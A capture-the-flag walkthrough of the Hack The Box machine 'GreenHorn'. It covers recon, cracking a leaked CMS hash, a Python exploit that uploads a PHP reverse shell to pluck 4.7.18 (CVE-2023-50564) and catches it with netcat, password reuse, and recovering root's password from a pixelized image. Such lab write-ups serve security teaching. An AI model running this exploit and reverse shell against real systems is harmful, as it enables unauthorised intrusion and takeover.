Description
GreenHorn is an easy Hack The Box machine that features:
- Leaked CMS password hash in a Gitea server
- Crack of a weak password
- Vulnerable pluck web application that allows Arbitrary File Upload that leads in Remote Command Execution
- Reused CMS password in a Linux user
- Privilege Escalation via the recovery of the root’s password by depixelizing a pixelized image in a PDF file
Footprinting
First, we are going to check with ping command if the machine is active and the system operating system. The target machine IP address is 10.129.242.145.
$ ping -c 3 10.129.242.145
PING 10.129.242.145 (10.129.242.145) 56(84) bytes of data.
64 bytes from 10.129.242.145: icmp_seq=1 ttl=63 time=47.3 ms
64 bytes from 10.129.242.145: icmp_seq=2 ttl=63 time=46.2 ms
64 bytes from 10.129.242.145: icmp_seq=3 ttl=63 time=46.5 ms
--- 10.129.242.145 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2004ms
rtt min/avg/max/mdev = 46.168/46.639/47.263/0.459 ms
The machine is active and with the TTL that equals 63 (64 minus 1 jump) we can assure that it is an Unix machine. Now we are going to do a Nmap TCP SYN port scan to check all opened ports.
$ sudo nmap 10.129.242.145 -sS -oN nmap_scan
Starting Nmap 7.94 ( https://nmap.org )
Nmap scan report for 10.129.242.145
Host is up (0.047s latency).
Not shown: 997 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
3000/tcp open ppp
Nmap done: 1 IP address (1 host up) scanned in 3.32 seconds
We get three ports, 22, 80 and 3000.
Enumeration
Then we do a more advanced scan, with service version and scripts.
$ nmap 10.129.242.145 -sV -sC -p22,80,3000 -oN nmap_scan_ports
Starting Nmap 7.94 ( https://nmap.org )
Nmap scan report for 10.129.242.145
Host is up (0.092s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 57:d6:92:8a:72:44:84:17:29:eb:5c:c9:63:6a:fe:fd (ECDSA)
|_ 256 40:ea:17:b1:b6:c5:3f:42:56:67:4a:3c:ee:75:23:2f (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://greenhorn.htb/
3000/tcp open ppp?
| fingerprint-strings:
| GenericLines, Help, RTSPRequest:
| HTTP/1.1 400 Bad Request
| Content-Type: text/plain; charset=utf-8
| Connection: close
| Request
| GetRequest:
| HTTP/1.0 200 OK
| Cache-Control: max-age=0, private, must-revalidate, no-transform
| Content-Type: text/html; charset=utf-8
| Set-Cookie: i_like_gitea=8e44c51d11543cef; Path=/; HttpOnly; SameSite=Lax
| Set-Cookie: _csrf=ODbs1c9iRoR2t1AaRgFXsRBaM9w6MTcyMTUwMjIwNTY1NDczMzYwNw; Path=/; Max-Age=86400; HttpOnly; SameSite=Lax
| X-Frame-Options: SAMEORIGIN
| <!DOCTYPE html>
| <html lang="en-US" class="theme-auto">
| <head>
| <meta name="viewport" content="width=device-width, initial-scale=1">
| <title>GreenHorn</title>
| <link rel="manifest" href="data:application/json;base64,eyJuYW1lIjoiR3JlZW5Ib3JuIiwic2hvcnRfbmFtZSI6IkdyZWVuSG9ybiIsInN0YXJ0X3VybCI6Imh0dHA6Ly9ncmVlbmhvcm4uaHRiOjMwMDAvIiwiaWNvbnMiOlt7InNyYyI6Imh0dHA6Ly9ncmVlbmhvcm4uaHRiOjMwMDAvYXNzZXRzL2ltZy9sb2dvLnBuZyIsInR5cGUiOiJpbWFnZS9wbmciLCJzaXplcyI6IjUxMng1MTIifSx7InNyYyI6Imh0dHA6Ly9ncmVlbmhvcm4uaHRiOjMwMDAvYX
| HTTPOptions:
| HTTP/1.0 405 Method Not Allowed
| Allow: HEAD
| Allow: HEAD
| Allow: GET
| Cache-Control: max-age=0, private, must-revalidate, no-transform
| Set-Cookie: i_like_gitea=21a4b9e3660f3e95; Path=/; HttpOnly; SameSite=Lax
| Set-Cookie: _csrf=P3YiyYMbZXIMvYSIMptL5S0rKgc6MTcyMTUwMjIxMDkwOTUwNTEzNA; Path=/; Max-Age=86400; HttpOnly; SameSite=Lax
| X-Frame-Options: SAMEORIGIN
|_ Content-Length: 0
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port3000-TCP:V=7.94%I=7%D=7/20%Time=669C09FA%P=x86_64-pc-linux-gnu%r(Ge
...
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 92.52 seconds
We get one Secure Shell (SSH) service, and two Hypertext Transfer Protocol (HTTP) service. We are going to move to the HTTP service. We observe that the service is hosting a website, so we add it to our /etc/hosts file.
$ echo "10.129.242.145 greenhorn.htb" | sudo tee -a /etc/hosts
The webpage is hosting the pluck CMS.
In the admin link in the bottom bar we find the version of the CMS used, 4.7.18. On the other hand, in the 3000 port we find a Gitea instance. We have public access to the webpage source code. After enumerating the GreenAdmin/GreenHorn repository, we find the /data/settings/pass.php file, which contains the hash of the administrator webpage, d5443aef1b64544f3685bf112f6c405218c573c7279a831b1fe9612e3a4d770486743c5580556c0d838b51749de15530f87fb793afdcc689b6b39024d7790163.
If we crack it as a SHA512 hash, we obtain the password, iloveyou1.
$ john --wordlist=/usr/share/wordlists/rockyou.txt --format=Raw-SHA512 hash.txt
Using default input encoding: UTF-8
Loaded 1 password hash (Raw-SHA512 [SHA512 256/256 AVX2 4x])
Warning: poor OpenMP scalability for this hash type, consider --fork=16
Will run 16 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
iloveyou1 (?)
1g 0:00:00:00 DONE 50.00g/s 819200p/s 819200c/s 819200C/s 123456..cocoliso
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
Exploitation
The 4.7.18 version of pluck is vulnerable to an Authenticated Arbitrary File Upload, CVE-2023-50564 that allows to execute arbitrary code by uploading a crafted ZIP file. We have a proof-of-concept in Exploit-DB but we are going to modify it slightly to match our needs. Firstly we are going to ZIP our reverse shell PHP file.
$ cp /usr/share/webshells/php/php-reverse-shell.php .
$ zip plugin.zip php-reverse-shell.php
This is the modified source code Python script.
import requests
from requests_toolbelt.multipart.encoder import MultipartEncoder
login_url = "http://greenhorn.htb/login.php"
upload_url = "http://greenhorn.htb/admin.php?action=installmodule"
headers = {"Referer": login_url,}
login_payload = {"cont1": "iloveyou1","bogus": "","submit": "Log in"}
file_path = 'plugin.zip'
multipart_data = MultipartEncoder(
fields={
"sendfile": ("plugin.zip", open(file_path, "rb"), "application/zip"),
"submit": "Upload"
}
)
session = requests.Session()
login_response = session.post(login_url, headers=headers, data=login_payload, proxies={'http': 'http://127.0.0.1:8080'})
if login_response.status_code == 200:
print("Login account")
upload_headers = {
"Referer": upload_url,
"Content-Type": multipart_data.content_type
}
upload_response = session.post(upload_url, headers=upload_headers, data=multipart_data)
if upload_response.status_code == 200:
print("ZIP file download.")
else:
print("ZIP file download error. Response code:", upload_response.status_code)
else:
print("Login problem. response code:", login_response.status_code)
rce_url="http://greenhorn.htb/data/modules/plugin/php-reverse-shell.php"
rce=requests.get(rce_url)
print(rce.text)
Before running the script we start the listening port.
$ nc -nvlp 1234
We run it.
$ python exploit.py
Then we get a reverse shell as the www-data user of the remote machine.
$ nc -nvlp 1234
listening on [any] 1234 ...
connect to [10.10.14.13] from (UNKNOWN) [10.129.242.145] 45154
Linux greenhorn 5.15.0-113-generic #123-Ubuntu SMP Mon Jun 10 08:16:17 UTC 2024 x86_64 x86_64 x86_64 GNU/Linux
21:55:18 up 2 days, 7:03, 0 users, load average: 0.00, 0.00, 0.00
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$
Post-Exploitation
As console users we find root, git and junior. We also find that junior reuses the previous password, iloveyou1, so we can login.
www-data@greenhorn:/$ cat /etc/passwd | grep bash
root:x:0:0:root:/root:/bin/bash
git:x:114:120:Git Version Control,,,:/home/git:/bin/bash
junior:x:1000:1000::/home/junior:/bin/bash
www-data@greenhorn:/$ su junior
Password:
junior@greenhorn:/$ id
uid=1000(junior) gid=1000(junior) groups=1000(junior)
In the home directory of junior, we find a PDF file, Using OpenVAS.pdf, let’s download it.
junior@greenhorn:/$ ls /home/junior
user.txt 'Using OpenVAS.pdf'
The PDF file contains intructions on running the OpenVAS vulnerability scanner and contains a pixelized password image.
We can extract the pixelized password image by using, for example, Kali’s Atril PDF reader by right-clicking on the image and clicking in Save image as.... Nowadays, open-source projects like Depix allows us to recover plaintext from pixelized screenshots by giving an image reference. We are going to save the pixelized image as pixel.png, then we are going to clone the project, install the dependencies and run it to try to recover the pixelized password.
$ git clone https://github.com/spipm/Depix
$ cd Depix
$ virtualenv depix
$ source depix/bin/activate
$ pip install Pillow
$ python depix.py -p pixel.png -o depixel.png -s images/searchimages/debruinseq_notepad_Windows10_closeAndSpaced.png
After some tries, we find a reference image files that matches with our image, images/searchimages/debruinseq_notepad_Windows10_closeAndSpaced.png. The resulting image is depixel.png.
As we see the password is partially recovered, sidefromsidetheothersidesidefromsidetheotherside. We can login into the server using SSH.
$ ssh root@greenhorn.htb
root@greenhorn.htb's password:
...
root@greenhorn:~# id
uid=0(root) gid=0(root) groups=0(root)
Flags
From the root shell we can retrieve the user and root flags.
root@greenhorn:~# cat /home/junior/user.txt
<REDACTED>
root@greenhorn:~# cat /root/root.txt
<REDACTED>